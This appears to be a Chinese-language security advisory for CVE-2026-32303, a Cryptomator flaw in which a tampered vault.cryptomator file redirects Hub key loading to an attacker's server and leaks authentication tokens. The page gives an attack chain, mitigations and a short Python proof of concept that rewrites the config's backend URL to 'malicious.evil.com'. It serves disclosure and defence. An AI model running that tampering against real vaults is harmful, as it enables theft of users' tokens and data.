IPBUF安全漏洞报告
English
CVE-2026-32303 CVSS 7.6 高危

CVE-2026-32303 Cryptomator配置篡改致令牌窃取漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32303
漏洞类型
配置篡改
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Cryptomator

相关标签

Cryptomator配置篡改中间人攻击令牌窃取完整性校验绕过

漏洞概述

Cryptomator在1.19.1之前的版本存在严重完整性检查漏洞。攻击者若能篡改vault配置文件,即可利用Hub密钥加载机制的缺陷实施中间人攻击。漏洞核心在于客户端盲目信任配置文件中的端点地址,未进行主机真实性校验。攻击者可借此混合合法认证端点与恶意API端点,诱导客户端泄露认证令牌。

技术细节

该漏洞的核心在于Cryptomator客户端处理Hub vault配置时的逻辑缺陷。在受影响的版本中,客户端在解析vault.cryptomator文件以获取Hub后端地址时,未实施严格的主机身份验证机制(如证书固定或DNS校验)。这导致攻击者在能够修改该配置文件的前提下(例如在共享环境或存在其他低权限漏洞的场景),可以将配置文件中的API端点URL替换为攻击者控制的恶意服务器地址。当受害者尝试解锁其Hub vault时,客户端会读取被篡改的配置,并尝试连接到恶意端点。由于缺乏完整性校验,客户端无法识别端点变更。在随后的密钥加载和认证流程中,攻击者可以利用这一机会,截获或通过混合响应诱导客户端发送有效的认证令牌,从而绕过正常的认证体系,非法获取用户数据的访问权限。

攻击链分析

STEP 1
初始访问与文件篡改
攻击者获得对目标系统的低权限访问,能够修改Cryptomator的vault.cryptomator配置文件。
STEP 2
配置修改
攻击者编辑vault.cryptomator文件,将其中指向Cryptomator Hub的API端点URL替换为攻击者控制的恶意服务器地址。
STEP 3
诱导用户交互
等待受害者使用受影响的Cryptomator客户端版本解锁该vault。此过程需要用户交互(UI:R)。
STEP 4
发起恶意连接
客户端读取被篡改的配置文件,尝试向攻击者指定的恶意端点发起连接以加载Hub密钥。由于缺乏主机真实性检查,连接建立成功。
STEP 5
令牌窃取
在认证流程中,客户端将认证令牌发送到恶意端点,或被恶意响应欺骗,导致攻击者获取敏感令牌,进而访问用户数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC: Demonstration of vault.cryptomator tampering # This is a conceptual representation. An attacker would modify the JSON structure. import json # Simulating reading the vault config with open('vault.cryptomator', 'r') as f: config = json.load(f) # Check if Hub configuration exists if 'hubBackend' in config: print(f"Original Backend: {config['hubBackend']}") # Tamper with the endpoint to point to a malicious server # Attacker controls this endpoint to capture tokens config['hubBackend'] = "https://malicious.evil.com/api" # Write the tampered config back with open('vault.cryptomator', 'w') as w: json.dump(config, w, indent=4) print("[+] Configuration file tampered successfully.") print("[+] When the user unlocks the vault, the token will be sent to the malicious endpoint.") else: print("[-] Hub configuration not found in this vault.")

影响范围

Cryptomator < 1.19.1

防御指南

临时缓解措施
在无法立即升级的情况下,用户应确保运行Cryptomator的环境安全,防止攻击者接触到vault.cryptomator文件。建议在解锁前检查配置文件的哈希值,或监控网络流量中是否存在指向非官方Cryptomator Hub服务器的异常连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表